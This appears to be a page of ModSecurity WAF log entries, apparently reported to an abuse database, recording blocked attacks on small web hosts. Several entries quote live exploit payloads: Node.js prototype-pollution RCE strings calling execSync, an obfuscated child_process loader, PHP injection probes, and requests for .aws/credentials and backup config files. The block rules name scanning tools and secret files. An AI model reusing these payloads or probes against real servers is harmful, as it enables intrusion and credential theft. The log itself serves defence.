[WedNov0419:46:25.3833422026][security2:error][pid2993875:tid2993950][client54.200.96.148:0]ModSecur ...
show more[WedNov0419:46:25.3833422026][security2:error][pid2993875:tid2993950][client54.200.96.148:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"galardi.ch\"][uri\"/\"][unique_id\"aut9gQevued21IXi3GJGmQAAAI0\"]
show less
[WedNov0419:46:27.5454992026][security2:error][pid2993875:tid2993954][client185.226.196.12:0]ModSecu ...
show more[WedNov0419:46:27.5454992026][security2:error][pid2993875:tid2993954][client185.226.196.12:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:user-agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"giuliani.li\"][uri\"/mcp\"][unique_id\"aut9gwevued21IXi3GJGnAAAAJE\"]
show less
[WedNov0419:45:27.1089052026][security2:error][pid2993877:tid2993965][client2602:80d:1008::ed:0]ModS ...
show more[WedNov0419:45:27.1089052026][security2:error][pid2993877:tid2993965][client2602:80d:1008::ed:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"fidmeyer.ch\"][uri\"/\"][unique_id\"aut9RzZGD0-0zaY0cqu_LgAAAME\"]
show less
[WedNov0419:45:01.2675622026][security2:error][pid2990239:tid2990377][client34.174.154.87:0]ModSecur ...
show more[WedNov0419:45:01.2675622026][security2:error][pid2990239:tid2990377][client34.174.154.87:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"ilmiotrentino.it\"][uri\"/\"][unique_id\"aut9LQ0zx0hRh754nbdZmQAAANc\"]
show less
[WedNov0419:44:48.5677472026][security2:error][pid3766491:tid3766561][client2602:80d:1008::16:0]ModS ...
show more[WedNov0419:44:48.5677472026][security2:error][pid3766491:tid3766561][client2602:80d:1008::16:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"swiss-web-hosting.hostingedominio.net\"][uri\"/\"][unique_id\"aut9IHEywlJRo3xMTfLYBwAAAIQ\"]
show less
[WedNov0419:44:43.1381192026][security2:error][pid3766493:tid3766625][client172.69.150.134:0]ModSecu ...
show more[WedNov0419:44:43.1381192026][security2:error][pid3766493:tid3766625][client172.69.150.134:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"verticalti.ch\"][uri\"/.aws/credentials\"][unique_id\"aut9G2S6TH1PYoCDXXMPmwAAAQ4\"]
show less
[WedNov0419:44:43.7084532026][security2:error][pid3766491:tid3766565][client172.69.150.135:0]ModSecu ...
show more[WedNov0419:44:43.7084532026][security2:error][pid3766491:tid3766565][client172.69.150.135:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"verticalti.ch\"][uri\"//.aws/credentials\"][unique_id\"aut9G3EywlJRo3xMTfLX_gAAAIg\"]
show less
[WedNov0419:44:15.1591732026][security2:error][pid2990232:tid2990285][client45.148.10.13:0]ModSecuri ...
show more[WedNov0419:44:15.1591732026][security2:error][pid2990232:tid2990285][client45.148.10.13:0]ModSecurity:Accessdeniedwithcode403\(phase2\).OperatorGEmatched5atTX:anomaly_score.[file\"/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf\"][line\"94\"][id\"949110\"][msg\"InboundAnomalyScoreExceeded\(TotalScore:5\)\"][severity\"CRITICAL\"][ver\"OWASP_CRS/3.3.10\"][tag\"application-multi\"][tag\"language-multi\"][tag\"platform-multi\"][tag\"attack-generic\"][hostname\"gmint.ch\"][uri\"/wp-json/batch/v1/..\;/batch/v1\"][unique_id\"aut8_3JlbCOulfGwOuiYcQAAAEw\"]
show less
[WedNov0419:42:53.0438642026][security2:error][pid2990235:tid2990316][client68.183.31.46:0]ModSecuri ...
show more[WedNov0419:42:53.0438642026][security2:error][pid2990235:tid2990316][client68.183.31.46:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(1236\*4892\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"www.gustotondo.ch\"][uri\"/\"][unique_id\"aut8rdn0hcCZCO9RuA4GgwAAAJA\"]
show less
[WedNov0419:42:40.0649132026][security2:error][pid2990232:tid2990284][client159.69.54.252:0]ModSecur ...
show more[WedNov0419:42:40.0649132026][security2:error][pid2990232:tid2990284][client159.69.54.252:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atREQUEST_COOKIES:4d5d155d508a4a358e8ec19b16a4af51.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"echo\(3727\*2125\)\"][severity\"CRITICAL\"][tag\"SQLi\"][tag\"RCE\"][hostname\"feldenkraisticino.ch\"][uri\"/wp-content/themes/twentytwentyone/functions.php\"][unique_id\"aut8oHJlbCOulfGwOuiYYQAAAEs\"]
show less
[WedNov0419:40:31.3984662026][security2:error][pid2990235:tid2990315][client151.115.32.220:0]ModSecu ...
show more[WedNov0419:40:31.3984662026][security2:error][pid2990235:tid2990315][client151.115.32.220:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"maxay.ch\"][uri\"/\"][unique_id\"aut8H9n0hcCZCO9RuA4GcgAAAI8\"]
show less
[WedNov0419:38:16.4582952026][security2:error][pid2985048:tid2985159][client18.227.183.188:0]ModSecu ...
show more[WedNov0419:38:16.4582952026][security2:error][pid2985048:tid2985159][client18.227.183.188:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"mail.giuseppeasaro.com\"][uri\"/wp-json/pm/v2/projects/1/update\"][unique_id\"aut7mHPwvqLU60tLyAE5RQAAAhY\"]
show less
[WedNov0419:37:40.0111432026][security2:error][pid2985048:tid2985153][client172.70.50.112:0]ModSecur ...
show more[WedNov0419:37:40.0111432026][security2:error][pid2985048:tid2985153][client172.70.50.112:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"whm.gmint.ch\"][uri\"/env.bak\"][unique_id\"aut7dHPwvqLU60tLyAE5MQAAAhI\"]
show less
[WedNov0419:37:39.7624902026][security2:error][pid2985045:tid2985110][client172.70.80.207:0]ModSecur ...
show more[WedNov0419:37:39.7624902026][security2:error][pid2985045:tid2985110][client172.70.80.207:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"whm.gmint.ch\"][uri\"/env.old\"][unique_id\"aut7c2CivoATlA3xMqTNdQAAAcM\"]
show less
[WedNov0419:37:39.8981452026][security2:error][pid2985045:tid2985132][client172.70.50.113:0]ModSecur ...
show more[WedNov0419:37:39.8981452026][security2:error][pid2985045:tid2985132][client172.70.50.113:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(\?:/\(\?:\^\|/\)\\\\\\\\.\(env\|git\|svn\|hg\|DS_Store\)\|/\(\?:wp-config\|\\\\\\\\.htaccess\|\\\\\\\\.htpasswd\)\|\\\\\\\\.\(\?:sql\|bak\|old\|log\)\$\)\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"156\"][id\"960720\"][msg\"Forbiddenfileaccessattempt\"][severity\"CRITICAL\"][hostname\"whm.gmint.ch\"][uri\"/configuration.php.bak\"][unique_id\"aut7c2CivoATlA3xMqTNeAAAAdU\"]
show less
[WedNov0419:36:17.0143592026][security2:error][pid2985048:tid2985150][client52.242.132.37:0]ModSecur ...
show more[WedNov0419:36:17.0143592026][security2:error][pid2985048:tid2985150][client52.242.132.37:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"mail.giuseppeasaro.com\"][uri\"/xmlrpc.php\"][unique_id\"aut7IXPwvqLU60tLyAE5EQAAAhA\"]
show less
[WedNov0419:35:56.2827792026][security2:error][pid3749101:tid3749186][client2602:80d:1008::84:0]ModS ...
show more[WedNov0419:35:56.2827792026][security2:error][pid3749101:tid3749186][client2602:80d:1008::84:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"mail.distributori-sigarette-ticino.ch\"][uri\"/\"][unique_id\"aut7DIkJzHGEWsh2ShnfAAAAAQY\"]
show less
[WedNov0419:35:28.7804092026][security2:error][pid3749101:tid3749219][client43.161.251.162:0]ModSecu ...
show more[WedNov0419:35:28.7804092026][security2:error][pid3749101:tid3749219][client43.161.251.162:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"714\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"www.benvenutialfood.ch\"][uri\"/xmlrpc.php\"][unique_id\"aut68IkJzHGEWsh2Shne4AAAARU\"]
show less
[WedNov0419:35:09.7924542026][security2:error][pid3749101:tid3749176][client151.115.84.205:0]ModSecu ...
show more[WedNov0419:35:09.7924542026][security2:error][pid3749101:tid3749176][client151.115.84.205:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?i\)\\\\\\\\b\(\?:i\(\?:s\(\?:_\(\?:in\(\?:t\(\?:eger\)\?\|finite\)\|n\(\?:u\(\?:meric\|ll\)\|an\)\|\(\?:calla\|dou\)ble\|s\(\?:calar\|tring\)\|f\(\?:inite\|loat\)\|re\(\?:source\|al\)\|l\(\?:ink\|ong\)\|a\(\?:rray\)\?\|object\|bool\)\|set\)\|n\(\?:\(\?:clud\|vok\)e\|t\(\?:div\|val\)\)\|\(\?:mplod\|dat\)e\|conv\)\|s\(\?:t\(\?:r\(\?:\(\?:le\|sp\)n\|...\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"582\"][id\"380026\"][rev\"27\"][msg\"Atomicorp.comWAFRules:PHPpayloaddetected\"][data\"function\(\'returnimport\(\\\\x5c\\\\x22node:child_process\\\\x5c\\\\x22\)\'\)\(\)\,function\(\'returnimport\(\\\\x5c\\\\x22node:zlib\\\\x5c\\\\x22\)\'\)\(\)]\).then\(\([cp\,zlib]\)=\>{returnnewpromise\(\(resolve\,reject\)=\>{try{varuser_code=global[string.fromcharcode\(66\,117\,102\,102\,101\,114\)].from\(\'286173796e632066756e6374696f6e28297b636f
show less
[WedNov0419:34:45.5495592026][security2:error][pid3749100:tid3749180][client8.231.157.139:0]ModSecur ...
show more[WedNov0419:34:45.5495592026][security2:error][pid3749100:tid3749180][client8.231.157.139:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:queryintrospectionquery\?\|__schema\\\\\\\\\?{\?\(\?:querytype\|types\?\)\)\?\\\\\\\\{\"atREQUEST_BODY.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"234\"][id\"344378\"][rev\"2\"][msg\"Atomicorp.comWAFRules:GraphQLInjectionAttackattempt\"][data\"MatchedData:__schema{types{foundwithinREQUEST_BODY:{\\\\x22query\\\\x22:\\\\x22{__schema{types{namefields{nameargs{namedefaultvalue}}}}}\\\\x22}\"][severity\"CRITICAL\"][tag\"SQLi\"][hostname\"mail.aidconsultancy.ch\"][uri\"/graphql\"][unique_id\"aut6xXm9KlUy6VFhrFc10QAAAMQ\"]\,referer:https://mail.aidconsultancy.ch
show less
[WedNov0419:34:13.6576202026][security2:error][pid2981948:tid2982011][client2602:80d:1007::b9:0]ModS ...
show more[WedNov0419:34:13.6576202026][security2:error][pid2981948:tid2982011][client2602:80d:1007::b9:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"www.eimeko.ch\"][uri\"/403.shtml\"][unique_id\"aut6pSTIVg8cm3gMb75MUgAAAYI\"]
show less
[WedNov0419:34:04.2285942026][security2:error][pid2981951:tid2982047][client129.221.184.75:0]ModSecu ...
show more[WedNov0419:34:04.2285942026][security2:error][pid2981951:tid2982047][client129.221.184.75:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Stringmatch\"/xmlrpc.php\"atREQUEST_URI.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"170\"][id\"960024\"][msg\"XML-RPCdisabled\"][hostname\"www.simireinigung.ch\"][uri\"/xmlrpc.php\"][unique_id\"aut6nJcWjRCENna_0oCOnQAAAcs\"]
show less
[WedNov0419:33:48.3827562026][security2:error][pid2981955:tid2982094][client45.61.164.24:0]ModSecuri ...
show more[WedNov0419:33:48.3827562026][security2:error][pid2981955:tid2982094][client45.61.164.24:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(id-u\)_\$\(uname-s\){timeout:5000}\).tostring\(\)throwobject.assign\(newerror\(next_redirect\){digest:next_redirectpush/login\?a=encodeuricomponent\(res\)307}\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echor2s_ok_\$\(id-u\)_\$\(uname-s\){timeout:5000}\).tostring\(\)throwobject.assign\(newerror\(next_redirect\){digest:next_redirectpush/login\?a=encodeuricom...\"][tag\"attack-rce\"][hostname
show less
[WedNov0419:32:25.8451482026][security2:error][pid3749100:tid3749209][client34.125.208.4:0]ModSecuri ...
show more[WedNov0419:32:25.8451482026][security2:error][pid3749100:tid3749209][client34.125.208.4:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\bshodan\\\\\\\\b\|\\\\\\\\bcensysinspect\\\\\\\\b\|\\\\\\\\bcensys\\\\\\\\b\|\\\\\\\\bexpanse\\\\\\\\b\|\\\\\\\\bnetsystemsresearch\\\\\\\\b\|\\\\\\\\bnetcraftsurveyagent\\\\\\\\b\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/20_asl_useragents.conf\"][line\"73\"][id\"338801\"][rev\"1\"][msg\"Atomicorp.comWAFRules:Blockedinternet-widesurveyorUA\"][severity\"ERROR\"][hostname\"4server.ch\"][uri\"/tosekhcc-notfound\"][unique_id\"aut6OXm9KlUy6VFhrFc1pwAAANQ\"]
show less
[WedNov0419:31:38.0327472026][security2:error][pid2981951:tid2982056][client104.197.220.29:0]ModSecu ...
show more[WedNov0419:31:38.0327472026][security2:error][pid2981951:tid2982056][client104.197.220.29:0]ModSecurity:Accessdeniedwithcode403\(phase1\).Patternmatch\"\(\?i\)\(curl\|wget\|python\|nikto\|sqlmap\|acunetix\|fimap\|dirbuster\|cmsmap\)\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_custom_rules.conf\"][line\"217\"][id\"990210\"][msg\"Suspicioususer-agentblocked\"][hostname\"esengineering.ch\"][uri\"/\"][unique_id\"aut6CpcWjRCENna_0oCOjwAAAcw\"]
show less
Port ScanBrute-ForceWeb App Attack
By clicking โAccept allโ, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.